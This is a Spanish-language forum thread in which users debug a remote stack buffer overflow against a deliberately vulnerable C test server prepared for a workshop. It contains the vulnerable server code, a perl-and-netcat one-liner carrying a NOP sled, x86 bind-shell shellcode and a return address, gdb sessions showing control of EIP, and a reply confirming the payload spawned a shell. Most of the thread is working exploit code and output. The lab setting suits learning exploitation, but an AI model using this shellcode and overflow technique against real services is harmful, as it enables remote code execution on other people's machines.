¿ Fallo BoF Remoto Linux ?

(1/4) > >>

Garfield07:
Bueno, después de solucionar el último problema ( y colgarlo ) me he puesto a explotar el dichoso servidor de pruebas que he hecho para el taller. Os vuelvo a remitir el código...
Código
#include <sys/socket.h>
#include <arpa/inet.h>
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
#include <signal.h>
#include <time.h>
 
int socketfd, newsocket;
 
int vuln (char *trampa)
{
char buffer [100];
strcpy (buffer, trampa);
}
 
void shutup (int signal)
{
times ();
printf ("Shutting down...\n\n");
close (newsocket);
close (socketfd);
exit (0);
}
 
int times ()
{
time_t now=time (0);
struct tm *ahora;
char buffer [40];
ahora=localtime ((const time_t*)&now);
strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
printf ("%s   ", buffer);
return 0;
}
 
int main (int argc, char *argv [])
{
time_t now=time (0);
struct tm *ahora;
char hora [40];
ahora=localtime ((const time_t*)&now);
strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);
 
if (getuid()!=0)
{
printf ("This proccess must be run by root.\n\n");
return 1;
}
if (argc<2)
{
printf ("Use: %s <PORT>\n\n", argv [0]);
return 1;
}
int cont;
struct sockaddr_in client, host;
char buffer [1024];
int size=sizeof (client);
 
socketfd=socket (2, 1 ,  0);
host.sin_family=AF_INET;
host.sin_port=htons (atoi (argv [1]));
host.sin_addr.s_addr=0;
bind (socketfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
 
listen (socketfd, 3);
 
times ();
printf ("Starting up...\n\n");
 
signal (SIGTERM, shutup);
signal (SIGINT, shutup);
 
while (1)
{
newsocket=accept (socketfd, (struct sockaddr*)&client, &size);
 
times ();
printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
 
cont=recv (newsocket, &buffer, 1024, 0);
while (cont>2)
{
times ();
buffer [cont-1]='\0';
printf ("RECV %d bytes: %s\n", cont, buffer);
 
vuln (buffer);
cont=recv (newsocket, &buffer, 1024, 0);
}
times ();
printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
close (newsocket);
}
close (socketfd);
return 0;
}
 
 

Y os remito el comando que estoy usando para explotar el fallo... [8 nops + 92 shellcode + 4 ret  + 1 null']
Código:

juanra@Juanra:~$ perl -e 'print "\x90"x8 . "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xc4\xf7\xff\xbf" . "\x00"' | nc -vv localhost 5555555

El null lo pongo porque en la línea ...
Código
while (cont>2)
{
times ();
--> buffer [cont-1]='\0';
printf ("RECV %d bytes: %s\n", cont, buffer);
 
... el último byte (se programó así por el \n de muchos clientes) se borra.


El caso es que compilo sin ninguna protección...
Código:

juanra@Juanra:~$ sudo gdb -q ./serv
[sudo] password for juanra:
(gdb) r 31337
Starting program: /home/juanra/serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 01:05:14
18/02/2011 01:05:14   Starting up...

18/02/2011 01:05:21   Got connection from 127.0.0.1:45163
18/02/2011 01:05:21   RECV 113 bytes: ��������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                          Rh//shh/bin��R��S��̀������������

Program received signal SIGSEGV, Segmentation fault.
0xbffff801 in ?? ()
(gdb) x/16x 0xbffff801
0xbffff801: 0x00000000 0x07000000 0x04000000 0x07000000
0xbffff811: 0x1c000000 0x10bffff8 0x02000000 0x00697a00
0xbffff821: 0x02000000 0x01000000 0x00000000 0xc4000000
0xbffff831: 0x00bffff7 0x5c000000 0x00bffff8 0xc4000000
(gdb) i r eip
eip            0xbffff801 0xbffff801
(gdb)

Fallo de segmentación al principio de la pila. Preguntas: ¿Por qué? ¿Cómo lo arreglo?
Llevo toda la noche pensando, pero no se me ocurre nada... Qué puede ser?

PD: Si os hace falta más información preguntadme.
Gracias! Un saludo
Sagrini

M3st4ng:
Hola!

He probado tu código con una shellcode que tenia yo y me ha funcionado:

Código:

SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 20:49:25
18/02/2011 20:49:25   Starting up...

18/02/2011 20:49:29   Got connection from 127.0.0.1:33672
18/02/2011 20:49:29   RECV 112 bytes: ��������������������������������������������������������^�1��F�F
                                                                                                       �
                                                                                                        ����V
                                                                                                             1ۉ�@̀�����/bin/sh�����������
process 3640 is executing new program: /bin/dash

Me da la sensación de que no llegas a sobreescribir completamente el RET. Para hacer overflow necesitas 109 bytes y tu le estas pasando 104:

Código:

$ perl -e 'print "A"x108' | nc -vv localhost 16005

SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 20:53:00
18/02/2011 20:53:00   Starting up...

18/02/2011 20:53:16   Got connection from 127.0.0.1:54045
18/02/2011 20:53:16   RECV 108 bytes: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()


Con 108 no llego a sobreescribir pero con 109 si:

Código:

$ perl -e 'print "A"x109' | nc -vv localhost 16005

Starting program: /home/javi/programacion/pruebas/BOF_remoto/a.out 16005
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 20:58:36
18/02/2011 20:58:36   Starting up...

18/02/2011 20:58:43   Got connection from 127.0.0.1:39784
18/02/2011 20:58:43   RECV 109 bytes: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()


Revisa el comando que lanzas contra el servidor. Ahora voy a probar tu shellcode.

Garfield07:
Hola Javi!

Pues no sé, esta noche vuelvo a la carga  :-\ ... ¿Te funciona con mi comando exacto?
Sí, pero es que 100 buffer + 4 EBP + 4 ESP = 108 xD Luego hay que restarle cuatro pues al volver se restan cuatro bytes de la pila (ret). Finalmente... 104.

Eso último me extraña, no sé de dónde sale este último byte... Ahh xD del
Código
buffer [cont-1]='\0';
No me había dado cuenta de que esto también me afectaba en ese ámbito... xD

Gracias! Seguiré probando...
PD: Esto es un code para ir preparando el taller, no el code que vamos a usar en el taller. Nadie es taaaan despistado jaja...

M3st4ng:
Hola de nuevo!

He probado tu shellcode aparte, sin usar ningún tipo de código vulnerable, y me da "violacion de segmento". ¿Puede que esté la shellcode mal? Intentaré buscar una que haga un bindshell y probaré a ver.

Saludos

Garfield07:
Cita de: M3st4ng en 18 Febrero 2011, 21:40 pm

Hola de nuevo!

He probado tu shellcode aparte, sin usar ningún tipo de código vulnerable, y me da "violacion de segmento". ¿Puede que esté la shellcode mal? Intentaré buscar una que haga un bindshell y probaré a ver.


Mmm, puede que la haya recortado mal, luego la miro, pero no es mía :P
_________________________________________________________________________
Vale, modifico, un detallito...

Al activar el randomize_va_space...
Código:

juanra@Juanra:~$ sudo gdb -q serv
[sudo] password for juanra:
(gdb) r 31337
Starting program: /home/juanra/serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 19/02/2011 13:09:38
19/02/2011 13:09:38   Starting up...

19/02/2011 13:09:41   Got connection from 127.0.0.1:46633
19/02/2011 13:09:41   RECV 113 bytes: ��������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                           Rh//shh/bin��R��S��̀������������

Program received signal SIGSEGV, Segmentation fault.
0xbffff7c4 in ?? ()
(gdb)

RET correcto.

Y al desactivar...
Código:

(gdb) r 31337
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 19/02/2011 13:10:53
19/02/2011 13:10:53   Starting up...

19/02/2011 13:10:56   Got connection from 127.0.0.1:60248
19/02/2011 13:10:56   RECV 113 bytes: ��������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                           Rh//shh/bin��R��S��̀������������

Program received signal SIGSEGV, Segmentation fault.
0xbffff801 in ?? ()
(gdb)


Ambos corren así:
Código:

juanra@Juanra:~$ perl -e 'print "\x90"x8 . "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xc4\xf7\xff\xbf"x3 . "\x00"' | nc -vv localhost 31337


¿? Voy a mirar a ver la shellcode...
_________________________________________________________________________
Modf: La shellcode va perfectamente :P

Navegación

[0] Índice de Mensajes

[#] Página Siguiente